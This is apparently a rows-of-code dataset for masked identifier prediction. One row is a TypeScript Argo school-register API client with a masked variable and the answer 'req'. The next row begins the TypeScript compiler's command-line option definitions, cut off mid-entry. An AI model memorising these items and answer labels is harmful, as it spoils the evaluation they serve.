            ""lista-opzioni-notifiche"": ""{}"",
            ""lista-x-auth-token"": ""[]"",
            clientID: ""d8MtQX5fR3yS9I7k-5OXUs:APA91bErrU-H7wGQ8yLastE_xS2JHDrVrfReRY2mnWQ9aVd-ohWYDTSLVRrKUsO2-25mBN1aduh5sPnZjFstg0Ixqiuoh5wCC38BB6NEveqWI_d6ZpM5DN3nvyVS8vDtwLS9caWeCmEK""
        }))

        let profili: {
            profilo: APIProfilo;
            token: string;
        }[] = []

        for (let profile of res.response.data) {
            const profileReq = await this.client.sendArgoRequest(""/profilo"", ""GET"", true, undefined, {
                ""x-auth-token"": profile.token
            })

            const profileData = profileReq.response.data as APIProfilo;

            profili.push({
                profilo: profileData,
                token: profile.token
            });
        }

        return profili;
    }

    /**
     * Aggiorna la data di aggiornamento dei dati, necessario per alcune richieste come `what` e `/dashboard/dashboard`
     * @param data Data da cui aggiornare i dati
     */
    public async aggiornaData(data: Date): Promise<boolean> {
        const  [MASK]  = await this.client.sendArgoRequest(""/dashboard/aggiornadata"", ""POST"", false, JSON.stringify({
            dataultimoaggiornamento: this.client.utilities.formattaDataUltimoAggiornamento(data)
        }))
        if ( [MASK] .status === 200) {
            this.client.dataAggiornaData = this.client.utilities.formattaDataUltimoAggiornamento(data);
            return true;
        }

        return false;
    }
}",req
139,"import {
    addToSeen,
    AlternateModeDiagnostics,
    append,
    arrayFrom,
    ArrayLiteralExpression,
    arrayToMap,
    assign,
    BuildOptions,
    cast,
    changeExtension,
    CharacterCodes,
    combinePaths,
    CommandLineOption,
    CommandLineOptionOfCustomType,
    CommandLineOptionOfListType,
    CompilerOptions,
    CompilerOptionsValue,
    computedOptions,
    ConfigFileSpecs,
    containsPath,
    convertToRelativePath,
    createCompilerDiagnostic,
    createDiagnosticForNodeInSourceFile,
    createGetCanonicalFileName,
    Debug,
    Diagnostic,
    DiagnosticArguments,
    DiagnosticMessage,
    Diagnostics,
    DidYouMeanOptionsDiagnostics,
    directorySeparator,
    emptyArray,
    endsWith,
    ensureTrailingDirectorySeparator,
    every,
    Expression,
    extend,
    Extension,
    FileExtensionInfo,
    fileExtensionIs,
    fileExtensionIsOneOf,
    filter,
    filterMutate,
    find,
    findIndex,
    flatten,
    forEach,
    forEachEntry,
    forEachTsConfigPropArray,
    getBaseFileName,
    getDirectoryPath,
    getFileMatcherPatterns,
    getLocaleSpecificMessage,
    getNormalizedAbsolutePath,
    getOwnKeys,
    getRegexFromPattern,
    getRegularExpressionForWildcard,
    getRegularExpressionsForWildcards,
    getRelativePathFromFile,
    getSpellingSuggestion,
    getSupportedExtensions,
    getSupportedExtensionsWithJsonIfResolveJsonModule,
    getTextOfPropertyName,
    getTsConfigPropArrayElementValue,
    hasExtension,
    hasProperty,
    ImportsNotUsedAsValues,
    isArray,
    isArrayLiteralExpression,
    isComputedNonLiteralName,
    isImplicitGlob,
    isObjectLiteralExpression,
    isRootedDiskPath,
    isString,
    isStringDoubleQuoted,
    isStringLiteral,
    JsonSourceFile,
    JsxEmit,
    length,
    map,
    mapDefined,
    mapIterator,
    MapLike,
    ModuleDetectionKind,
    ModuleKind,
    ModuleResolutionKind,
    NewLineKind,
    Node,
    NodeArray,
    nodeNextJsonConfigResolver,
    normalizePath,
    normalizeSlashes,
    NumericLiteral,
    ObjectLiteralExpression,
    ParseConfigHost,
    ParsedCommandLine,
    parseJsonText,
    Path,
    PollingWatchKind,
    PrefixUnaryExpression,
    ProjectReference,
    PropertyAssignment,
    PropertyName,
    removeTrailingDirectorySeparator,
    returnTrue,
    ScriptTarget,
    some,
    startsWith,
    StringLiteral,
    SyntaxKind,
    sys,
    toFileNameLowerCase,
    toPath,
    tracing,
    TsConfigOnlyOption,
    TsConfigSourceFile,
    TypeAcquisition,
    unescapeLeadingUnderscores,
    WatchDirectoryFlags,
    WatchDirectoryKind,
    WatchFileKind,
    WatchOptions,
} from ""./_namespaces/ts.js"";

const compileOnSaveCommandLineOption: CommandLineOption = {
    name: ""compileOnSave"",
    type: ""boolean"",
    defaultValueDescription: false,
};

const jsxOptionMap = new Map(Object.entries({
    ""preserve"": JsxEmit.Preserve,
    ""react-native"": JsxEmit.ReactNative,
    ""react-jsx"": JsxEmit.ReactJSX,
    ""react-jsxdev"": JsxEmit.ReactJSXDev,
    ""react"": JsxEmit.React,
}));

/** @internal */
export const inverseJsxOptionMap: Map<string, string> = new Map(mapIterator(jsxOptionMap.entries(), ([key, value]: [string, JsxEmit]) => ["""" + value, key] as const));

// NOTE: The order here is important to default lib ordering as entries will have the same
//       order in the generated program (see `getDefaultLibPriority` in program.ts). This
//       order also affects overload resolution when a type declared in one lib is
//       augmented in another lib.
// NOTE: We must reevaluate the target for upcoming features when each successive TC39 edition is ratified in
//       June of each year. This includes changes to `LanguageFeatureMinimumTarget`, `ScriptTarget`,
//       `ScriptTargetFeatures` transformers/esnext.ts, compiler/commandLineParser.ts,
//       compiler/utilitiesPublic.ts, and the contents of each lib/esnext.*.d.ts file.
const libEntries: [string, string][] = [
    // JavaScript only
    [""es5"", ""lib.es5.d.ts""],
    [""es6"", ""lib.es2015.d.ts""],
    [""es2015"", ""lib.es2015.d.ts""],
    [""es7"", ""lib.es2016.d.ts""],
    [""es2016"", ""lib.es2016.d.ts""],
    [""es2017"", ""lib.es2017.d.ts""],
    [""es2018"", ""lib.es2018.d.ts""],
    [""es2019"", ""lib.es2019.d.ts""],
    [""es2020"", ""lib.es2020.d.ts""],
    [""es2021"", ""lib.es2021.d.ts""],
    [""es2022"", ""lib.es2022.d.ts""],
    [""es2023"", ""lib.es2023.d.ts""],
    [""es2024"", ""lib.es2024.d.ts""],
    [""esnext"", ""lib.esnext.d.ts""],
    // Host only
    [""dom"", ""lib.dom.d.ts""],
    [""dom.iterable"", ""lib.dom.iterable.d.ts""],
    [""dom.asynciterable"", ""lib.dom.asynciterable.d.ts""],
    [""webworker"", ""lib.webworker.d.ts""],
    [""webworker.importscripts"", ""lib.webworker.importscripts.d.ts""],
    [""webworker.iterable"", ""lib.webworker.iterable.d.ts""],
    [""webworker.asynciterable"", ""lib.webworker.asynciterable.d.ts""],
    [""scripthost"", ""lib.scripthost.d.ts""],
    // ES2015 Or ESNext By-feature options
    [""es2015.core"", ""lib.es2015.core.d.ts""],
    [""es2015.collection"", ""lib.es2015.collection.d.ts""],
    [""es2015.generator"", ""lib.es2015.generator.d.ts""],
    [""es2015.iterable"", ""lib.es2015.iterable.d.ts""],
    [""es2015.promise"", ""lib.es2015.promise.d.ts""],
    [""es2015.proxy"", ""lib.es2015.proxy.d.ts""],
    [""es2015.reflect"", ""lib.es2015.reflect.d.ts""],
    [""es2015.symbol"", ""lib.es2015.symbol.d.ts""],
    [""es2015.symbol.wellknown"", ""lib.es2015.symbol.wellknown.d.ts""],
    [""es2016.array.include"", ""lib.es2016.array.include.d.ts""],
    [""es2016.intl"", ""lib.es2016.intl.d.ts""],
    [""es2017.arraybuffer"", ""lib.es2017.arraybuffer.d.ts""],
    [""es2017.date"", ""lib.es2017.date.d.ts""],
    [""es2017.object"", ""lib.es2017.object.d.ts""],
    [""es2017.sharedmemory"", ""lib.es2017.sharedmemory.d.ts""],
    [""es2017.string"", ""lib.es2017.string.d.ts""],
    [""es2017.intl"", ""lib.es2017.intl.d.ts""],
    [""es2017.typedarrays"", ""lib.es2017.typedarrays.d.ts""],
    [""es2018.asyncgenerator"", ""lib.es2018.asyncgenerator.d.ts""],
    [""es2018.asynciterable"", ""lib.es2018.asynciterable.d.ts""],
    [""es2018.intl"", ""lib.es2018.intl.d.ts""],
    [""es2018.promise"", ""lib.es2018.promise.d.ts""],
    [""es2018.regexp"", ""lib.es2018.regexp.d.ts""],
    [""es2019.array"", ""lib.es2019.array.d.ts""],
    [""es2019.object"", ""lib.es2019.object.d.ts""],
    [""es2019.string"", ""lib.es2019.string.d.ts""],
    [""es2019.symbol"", ""lib.es2019.symbol.d.ts""],
    [""es2019.intl"", ""lib.es2019.intl.d.ts""],
    [""es2020.bigint"", ""lib.es2020.bigint.d.ts""],
    [""es2020.date"", ""lib.es2020.date.d.ts""],
    [""es2020.promise"", ""lib.es2020.promise.d.ts""],
    [""es2020.sharedmemory"", ""lib.es2020.sharedmemory.d.ts""],
    [""es2020.string"", ""lib.es2020.string.d.ts""],
    [""es2020.symbol.wellknown"", ""lib.es2020.symbol.wellknown.d.ts""],
    [""es2020.intl"", ""lib.es2020.intl.d.ts""],
    [""es2020.number"", ""lib.es2020.number.d.ts""],
    [""es2021.promise"", ""lib.es2021.promise.d.ts""],
    [""es2021.string"", ""lib.es2021.string.d.ts""],
    [""es2021.weakref"", ""lib.es2021.weakref.d.ts""],
    [""es2021.intl"", ""lib.es2021.intl.d.ts""],
    [""es2022.array"", ""lib.es2022.array.d.ts""],
    [""es2022.error"", ""lib.es2022.error.d.ts""],
    [""es2022.intl"", ""lib.es2022.intl.d.ts""],
    [""es2022.object"", ""lib.es2022.object.d.ts""],
    [""es2022.string"", ""lib.es2022.string.d.ts""],
    [""es2022.regexp"", ""lib.es2022.regexp.d.ts""],
    [""es2023.array"", ""lib.es2023.array.d.ts""],
    [""es2023.collection"", ""lib.es2023.collection.d.ts""],
    [""es2023.intl"", ""lib.es2023.intl.d.ts""],
    [""es2024.arraybuffer"", ""lib.es2024.arraybuffer.d.ts""],
    [""es2024.collection"", ""lib.es2024.collection.d.ts""],
    [""es2024.object"", ""lib.es2024.object.d.ts""],
    [""es2024.promise"", ""lib.es2024.promise.d.ts""],
    [""es2024.regexp"", ""lib.es2024.regexp.d.ts""],
    [""es2024.sharedmemory"", ""lib.es2024.sharedmemory.d.ts""],
    [""es2024.string"", ""lib.es2024.string.d.ts""],
    [""esnext.array"", ""lib.es2023.array.d.ts""],
    [""esnext.collection"", ""lib.esnext.collection.d.ts""],
    [""esnext.symbol"", ""lib.es2019.symbol.d.ts""],
    [""esnext.asynciterable"", ""lib.es2018.asynciterable.d.ts""],
    [""esnext.intl"", ""lib.esnext.intl.d.ts""],
    [""esnext.disposable"", ""lib.esnext.disposable.d.ts""],
    [""esnext.bigint"", ""lib.es2020.bigint.d.ts""],
    [""esnext.string"", ""lib.es2022.string.d.ts""],
    [""esnext.promise"", ""lib.es2024.promise.d.ts""],
    [""esnext.weakref"", ""lib.es2021.weakref.d.ts""],
    [""esnext.decorators"", ""lib.esnext.decorators.d.ts""],
    [""esnext.object"", ""lib.es2024.object.d.ts""],
    [""esnext.array"", ""lib.esnext.array.d.ts""],
    [""esnext.regexp"", ""lib.es2024.regexp.d.ts""],
    [""esnext.string"", ""lib.es2024.string.d.ts""],
    [""esnext.iterator"", ""lib.esnext.iterator.d.ts""],
    [""esnext.promise"", ""lib.esnext.promise.d.ts""],
    [""esnext.float16"", ""lib.esnext.float16.d.ts""],
    [""esnext.error"", ""lib.esnext.error.d.ts""],
    [""esnext.sharedmemory"", ""lib.esnext.sharedmemory.d.ts""],
    [""decorators"", ""lib.decorators.d.ts""],
    [""decorators.legacy"", ""lib.decorators.legacy.d.ts""],
];

/**
 * An array of supported ""lib"" reference file names used to determine the order for inclusion
 * when referenced, as well as for spelling suggestions. This ensures the correct ordering for
 * overload resolution when a type declared in one lib is extended by another.
 *
 * @internal
 */
export const libs: string[] = libEntries.map(entry => entry[0]);

/**
 * A map of lib names to lib files. This map is used both for parsing the ""lib"" command line
 * option as well as for resolving lib reference directives.
 *
 * @internal
 */
export const libMap: Map<string, string> = new Map(libEntries);

// Watch related options

// Do not delete this without updating the website's tsconfig generation.
/** @internal */
export const optionsForWatch: CommandLineOption[] = [
    {
        name: ""watchFile"",
        type: new Map(Object.entries({
            fixedpollinginterval: WatchFileKind.FixedPollingInterval,
            prioritypollinginterval: WatchFileKind.PriorityPollingInterval,
            dynamicprioritypolling: WatchFileKind.DynamicPriorityPolling,
            fixedchunksizepolling: WatchFileKind.FixedChunkSizePolling,
            usefsevents: WatchFileKind.UseFsEvents,
            usefseventsonparentdirectory: WatchFileKind.UseFsEventsOnParentDirectory,
        })),
        category: Diagnostics.Watch_and_Build_Modes,
        description: Diagnostics.Specify_how_the_TypeScript_watch_mode_works,
        defaultValueDescription: WatchFileKind.UseFsEvents,
    },
    {
        name: ""watchDirectory"",
        type: new Map(Object.entries({
            usefsevents: WatchDirectoryKind.UseFsEvents,
            fixedpollinginterval: WatchDirectoryKind.FixedPollingInterval,
            dynamicprioritypolling: WatchDirectoryKind.DynamicPriorityPolling,
            fixedchunksizepolling: WatchDirectoryKind.FixedChunkSizePolling,
        })),
        category: Diagnostics.Watch_and_Build_Modes,
        description: Diagnostics.Specify_how_directories_are_watched_on_systems_that_lack_recursive_file_watching_functionality,
        defaultValueDescription: WatchDirectoryKind.UseFsEvents,
    },
    {
        name: ""fallbackPolling"",
        type: new Map(Object.entries({
            fixedinterval: PollingWatchKind.FixedInterval,
            priorityinterval: PollingWatchKind.PriorityInterval,
            dynamicpriority: PollingWatchKind.DynamicPriority,
            fixedchunksize: PollingWatchKind.FixedChunkSize,
        })),
        category: Diagnostics.Watch_and_Build_Modes,
        description: Diagnostics.Specify_what_approach_the_watcher_should_use_if_the_system_runs_out_of_native_file_watchers,
        defaultValueDescription: PollingWatchKind.PriorityInterval,
    },
    {
        name: ""synchronousWatchDirectory"",
        type: ""boolean"",
        category: Diagnostics.Watch_and_Build_Modes,
        description: Diagnostics.Synchronously_call_callbacks_and_update_the_state_of_directory_watchers_on_platforms_that_don_t_support_recursive_watching_natively,
        defaultValueDescription: false,
    },
    {
        name: ""excludeDirectories"",
        type: ""list"",
        element: {
            name: ""excludeDirectory"",
            type: ""string"",
            isFilePath: true,
            extraValidation: specToDiagnostic,
        },
        allowConfigDirTemplateSubstitution: true,
        category: Diagnostics.Watch_and_Build_Modes,
        description: Diagnostics.Remove_a_list_of_directories_from_the_watch_process,
    },
    {
        name: ""excludeFiles"",
        type: ""list"",
        element: {
            name: ""excludeFile"",
            type: ""string"",
            isFilePath: true,
            extraValidation: specToDiagnostic,
        },
        allowConfigDirTemplateSubstitution: true,
        category: Diagnostics.Watch_and_Build_Modes,
        description: Diagnostics.Remove_a_list_of_files_from_the_watch_mode_s_processing,
    },
];

/** @internal */
export const commonOptionsWithBuild: CommandLineOption[] = [
    {
        name: ""help"",
        shortName: ""h"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        isCommandLineOnly: true,
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Print_this_message,
        defaultValueDescription: false,
    },
    {
        name: ""help"",
        shortName: ""?"",
        type: ""boolean"",
        isCommandLineOnly: true,
        category: Diagnostics.Command_line_Options,
        defaultValueDescription: false,
    },
    {
        name: ""watch"",
        shortName: ""w"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        isCommandLineOnly: true,
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Watch_input_files,
        defaultValueDescription: false,
    },
    {
        name: ""preserveWatchOutput"",
        type: ""boolean"",
        showInSimplifiedHelpView: false,
        category: Diagnostics.Output_Formatting,
        description: Diagnostics.Disable_wiping_the_console_in_watch_mode,
        defaultValueDescription: false,
    },
    {
        name: ""listFiles"",
        type: ""boolean"",
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Print_all_of_the_files_read_during_the_compilation,
        defaultValueDescription: false,
    },
    {
        name: ""explainFiles"",
        type: ""boolean"",
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Print_files_read_during_the_compilation_including_why_it_was_included,
        defaultValueDescription: false,
    },
    {
        name: ""listEmittedFiles"",
        type: ""boolean"",
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Print_the_names_of_emitted_files_after_a_compilation,
        defaultValueDescription: false,
    },
    {
        name: ""pretty"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        category: Diagnostics.Output_Formatting,
        description: Diagnostics.Enable_color_and_formatting_in_TypeScript_s_output_to_make_compiler_errors_easier_to_read,
        defaultValueDescription: true,
    },
    {
        name: ""traceResolution"",
        type: ""boolean"",
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Log_paths_used_during_the_moduleResolution_process,
        defaultValueDescription: false,
    },
    {
        name: ""diagnostics"",
        type: ""boolean"",
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Output_compiler_performance_information_after_building,
        defaultValueDescription: false,
    },
    {
        name: ""extendedDiagnostics"",
        type: ""boolean"",
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Output_more_detailed_compiler_performance_information_after_building,
        defaultValueDescription: false,
    },
    {
        name: ""generateCpuProfile"",
        type: ""string"",
        isFilePath: true,
        paramType: Diagnostics.FILE_OR_DIRECTORY,
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Emit_a_v8_CPU_profile_of_the_compiler_run_for_debugging,
        defaultValueDescription: ""profile.cpuprofile"",
    },
    {
        name: ""generateTrace"",
        type: ""string"",
        isFilePath: true,
        paramType: Diagnostics.DIRECTORY,
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Generates_an_event_trace_and_a_list_of_types,
    },
    {
        name: ""incremental"",
        shortName: ""i"",
        type: ""boolean"",
        category: Diagnostics.Projects,
        description: Diagnostics.Save_tsbuildinfo_files_to_allow_for_incremental_compilation_of_projects,
        transpileOptionValue: undefined,
        defaultValueDescription: Diagnostics.false_unless_composite_is_set,
    },
    {
        name: ""declaration"",
        shortName: ""d"",
        type: ""boolean"",
        // Not setting affectsEmit because we calculate this flag might not affect full emit
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        transpileOptionValue: undefined,
        description: Diagnostics.Generate_d_ts_files_from_TypeScript_and_JavaScript_files_in_your_project,
        defaultValueDescription: Diagnostics.false_unless_composite_is_set,
    },
    {
        name: ""declarationMap"",
        type: ""boolean"",
        // Not setting affectsEmit because we calculate this flag might not affect full emit
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        defaultValueDescription: false,
        description: Diagnostics.Create_sourcemaps_for_d_ts_files,
    },
    {
        name: ""emitDeclarationOnly"",
        type: ""boolean"",
        // Not setting affectsEmit because we calculate this flag might not affect full emit
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Only_output_d_ts_files_and_not_JavaScript_files,
        transpileOptionValue: undefined,
        defaultValueDescription: false,
    },
    {
        name: ""sourceMap"",
        type: ""boolean"",
        // Not setting affectsEmit because we calculate this flag might not affect full emit
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        defaultValueDescription: false,
        description: Diagnostics.Create_source_map_files_for_emitted_JavaScript_files,
    },
    {
        name: ""inlineSourceMap"",
        type: ""boolean"",
        // Not setting affectsEmit because we calculate this flag might not affect full emit
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Include_sourcemap_files_inside_the_emitted_JavaScript,
        defaultValueDescription: false,
    },
    {
        name: ""noCheck"",
        type: ""boolean"",
        showInSimplifiedHelpView: false,
        category: Diagnostics.Compiler_Diagnostics,
        description: Diagnostics.Disable_full_type_checking_only_critical_parse_and_emit_errors_will_be_reported,
        transpileOptionValue: true,
        defaultValueDescription: false,
        // Not setting affectsSemanticDiagnostics or affectsBuildInfo because we dont want all diagnostics to go away, its handled in builder
    },
    {
        name: ""noEmit"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Disable_emitting_files_from_a_compilation,
        transpileOptionValue: undefined,
        defaultValueDescription: false,
    },
    {
        name: ""assumeChangesOnlyAffectDirectDependencies"",
        type: ""boolean"",
        affectsSemanticDiagnostics: true,
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Watch_and_Build_Modes,
        description: Diagnostics.Have_recompiles_in_projects_that_use_incremental_and_watch_mode_assume_that_changes_within_a_file_will_only_affect_files_directly_depending_on_it,
        defaultValueDescription: false,
    },
    {
        name: ""locale"",
        type: ""string"",
        category: Diagnostics.Command_line_Options,
        isCommandLineOnly: true,
        description: Diagnostics.Set_the_language_of_the_messaging_from_TypeScript_This_does_not_affect_emit,
        defaultValueDescription: Diagnostics.Platform_specific,
    },
];

/** @internal */
export const targetOptionDeclaration: CommandLineOptionOfCustomType = {
    name: ""target"",
    shortName: ""t"",
    type: new Map(Object.entries({
        es3: ScriptTarget.ES3,
        es5: ScriptTarget.ES5,
        es6: ScriptTarget.ES2015,
        es2015: ScriptTarget.ES2015,
        es2016: ScriptTarget.ES2016,
        es2017: ScriptTarget.ES2017,
        es2018: ScriptTarget.ES2018,
        es2019: ScriptTarget.ES2019,
        es2020: ScriptTarget.ES2020,
        es2021: ScriptTarget.ES2021,
        es2022: ScriptTarget.ES2022,
        es2023: ScriptTarget.ES2023,
        es2024: ScriptTarget.ES2024,
        esnext: ScriptTarget.ESNext,
    })),
    affectsSourceFile: true,
    affectsModuleResolution: true,
    affectsEmit: true,
    affectsBuildInfo: true,
    deprecatedKeys: new Set([""es3""]),
    paramType: Diagnostics.VERSION,
    showInSimplifiedHelpView: true,
    category: Diagnostics.Language_and_Environment,
    description: Diagnostics.Set_the_JavaScript_language_version_for_emitted_JavaScript_and_include_compatible_library_declarations,
    defaultValueDescription: ScriptTarget.ES5,
};

/** @internal */
export const moduleOptionDeclaration: CommandLineOptionOfCustomType = {
    name: ""module"",
    shortName: ""m"",
    type: new Map(Object.entries({
        none: ModuleKind.None,
        commonjs: ModuleKind.CommonJS,
        amd: ModuleKind.AMD,
        system: ModuleKind.System,
        umd: ModuleKind.UMD,
        es6: ModuleKind.ES2015,
        es2015: ModuleKind.ES2015,
        es2020: ModuleKind.ES2020,
        es2022: ModuleKind.ES2022,
        esnext: ModuleKind.ESNext,
        node16: ModuleKind.Node16,
        node18: ModuleKind.Node18,
        node20: ModuleKind.Node20,
        nodenext: ModuleKind.NodeNext,
        preserve: ModuleKind.Preserve,
    })),
    affectsSourceFile: true,
    affectsModuleResolution: true,
    affectsEmit: true,
    affectsBuildInfo: true,
    paramType: Diagnostics.KIND,
    showInSimplifiedHelpView: true,
    category: Diagnostics.Modules,
    description: Diagnostics.Specify_what_module_code_is_generated,
    defaultValueDescription: undefined,
};

const commandOptionsWithoutBuild: CommandLineOption[] = [
    // CommandLine only options
    {
        name: ""all"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Show_all_compiler_options,
        defaultValueDescription: false,
    },
    {
        name: ""version"",
        shortName: ""v"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Print_the_compiler_s_version,
        defaultValueDescription: false,
    },
    {
        name: ""init"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        category: Diagnostics.Command_line_Options,
        description: Diagnostics.Initializes_a_TypeScript_project_and_creates_a_tsconfig_json_file,
        defaultValueDescription: false,
    },
    {
        name: ""project"",
        shortName: ""p"",
        type: ""string"",
        isFilePath: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Command_line_Options,
        paramType: Diagnostics.FILE_OR_DIRECTORY,
        description: Diagnostics.Compile_the_project_given_the_path_to_its_configuration_file_or_to_a_folder_with_a_tsconfig_json,
    },
    {
        name: ""showConfig"",
        type: ""boolean"",
        showInSimplifiedHelpView: true,
        category: Diagnostics.Command_line_Options,
        isCommandLineOnly: true,
        description: Diagnostics.Print_the_final_configuration_instead_of_building,
        defaultValueDescription: false,
    },
    {
        name: ""listFilesOnly"",
        type: ""boolean"",
        category: Diagnostics.Command_line_Options,
        isCommandLineOnly: true,
        description: Diagnostics.Print_names_of_files_that_are_part_of_the_compilation_and_then_stop_processing,
        defaultValueDescription: false,
    },

    // Basic
    targetOptionDeclaration,
    moduleOptionDeclaration,
    {
        name: ""lib"",
        type: ""list"",
        element: {
            name: ""lib"",
            type: libMap,
            defaultValueDescription: undefined,
        },
        affectsProgramStructure: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Specify_a_set_of_bundled_library_declaration_files_that_describe_the_target_runtime_environment,
        transpileOptionValue: undefined,
    },
    {
        name: ""allowJs"",
        type: ""boolean"",
        allowJsFlag: true,
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.JavaScript_Support,
        description: Diagnostics.Allow_JavaScript_files_to_be_a_part_of_your_program_Use_the_checkJS_option_to_get_errors_from_these_files,
        defaultValueDescription: false,
    },
    {
        name: ""checkJs"",
        type: ""boolean"",
        affectsModuleResolution: true,
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.JavaScript_Support,
        description: Diagnostics.Enable_error_reporting_in_type_checked_JavaScript_files,
        defaultValueDescription: false,
    },
    {
        name: ""jsx"",
        type: jsxOptionMap,
        affectsSourceFile: true,
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsModuleResolution: true,
        // The checker emits an error when it sees JSX but this option is not set in compilerOptions.
        // This is effectively a semantic error, so mark this option as affecting semantic diagnostics
        // so we know to refresh errors when this option is changed.
        affectsSemanticDiagnostics: true,
        paramType: Diagnostics.KIND,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Language_and_Environment,
        description: Diagnostics.Specify_what_JSX_code_is_generated,
        defaultValueDescription: undefined,
    },
    {
        name: ""outFile"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsDeclarationPath: true,
        isFilePath: true,
        paramType: Diagnostics.FILE,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Specify_a_file_that_bundles_all_outputs_into_one_JavaScript_file_If_declaration_is_true_also_designates_a_file_that_bundles_all_d_ts_output,
        transpileOptionValue: undefined,
    },
    {
        name: ""outDir"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsDeclarationPath: true,
        isFilePath: true,
        paramType: Diagnostics.DIRECTORY,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Specify_an_output_folder_for_all_emitted_files,
    },
    {
        name: ""rootDir"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsDeclarationPath: true,
        isFilePath: true,
        paramType: Diagnostics.LOCATION,
        category: Diagnostics.Modules,
        description: Diagnostics.Specify_the_root_folder_within_your_source_files,
        defaultValueDescription: Diagnostics.Computed_from_the_list_of_input_files,
    },
    {
        name: ""composite"",
        type: ""boolean"",
        // Not setting affectsEmit because we calculate this flag might not affect full emit
        affectsBuildInfo: true,
        isTSConfigOnly: true,
        category: Diagnostics.Projects,
        transpileOptionValue: undefined,
        defaultValueDescription: false,
        description: Diagnostics.Enable_constraints_that_allow_a_TypeScript_project_to_be_used_with_project_references,
    },
    {
        name: ""tsBuildInfoFile"",
        type: ""string"",
        affectsEmit: true,
        affectsBuildInfo: true,
        isFilePath: true,
        paramType: Diagnostics.FILE,
        category: Diagnostics.Projects,
        transpileOptionValue: undefined,
        defaultValueDescription: "".tsbuildinfo"",
        description: Diagnostics.Specify_the_path_to_tsbuildinfo_incremental_compilation_file,
    },
    {
        name: ""removeComments"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        showInSimplifiedHelpView: true,
        category: Diagnostics.Emit,
        defaultValueDescription: false,
        description: Diagnostics.Disable_emitting_comments,
    },
    {
        name: ""importHelpers"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        affectsSourceFile: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Allow_importing_helper_functions_from_tslib_once_per_project_instead_of_including_them_per_file,
        defaultValueDescription: false,
    },
    {
        name: ""importsNotUsedAsValues"",
        type: new Map(Object.entries({
            remove: ImportsNotUsedAsValues.Remove,
            preserve: ImportsNotUsedAsValues.Preserve,
            error: ImportsNotUsedAsValues.Error,
        })),
        affectsEmit: true,
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Backwards_Compatibility,
        description: Diagnostics.Specify_emit_Slashchecking_behavior_for_imports_that_are_only_used_for_types,
        defaultValueDescription: ImportsNotUsedAsValues.Remove,
    },
    {
        name: ""downlevelIteration"",
        type: ""boolean"",
        affectsEmit: true,
        affectsBuildInfo: true,
        category: Diagnostics.Emit,
        description: Diagnostics.Emit_more_compliant_but_verbose_and_less_performant_JavaScript_for_iteration,
        defaultValueDescription: false,
    },
    {
        name: ""isolatedModules"",
        type: ""boolean"",
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Ensure_that_each_file_can_be_safely_transpiled_without_relying_on_other_imports,
        transpileOptionValue: true,
        defaultValueDescription: false,
    },
    {
        name: ""verbatimModuleSyntax"",
        type: ""boolean"",
        affectsEmit: true,
        affectsSemanticDiagnostics: true,
        affectsBuildInfo: true,
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Do_not_transform_or_elide_any_imports_or_exports_not_marked_as_type_only_ensuring_they_are_written_in_the_output_file_s_format_based_on_the_module_setting,
        defaultValueDescription: false,
    },
    {
        name: ""isolatedDeclarations"",
        type: ""boolean"",
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Require_sufficient_annotation_on_exports_so_other_tools_can_trivially_generate_declaration_files,
        defaultValueDescription: false,
        affectsBuildInfo: true,
        affectsSemanticDiagnostics: true,
    },
    {
        name: ""erasableSyntaxOnly"",
        type: ""boolean"",
        category: Diagnostics.Interop_Constraints,
        description: Diagnostics.Do_not_allow_runtime_constructs_that_are_not_part_of_ECMAScript,
        defaultValueDescription: false,
        affectsBuildInfo: true,
        affectsSemanticDiagnostics: true,
    },
    {
        name: ""libReplacement"",
        type: ""boolean"",
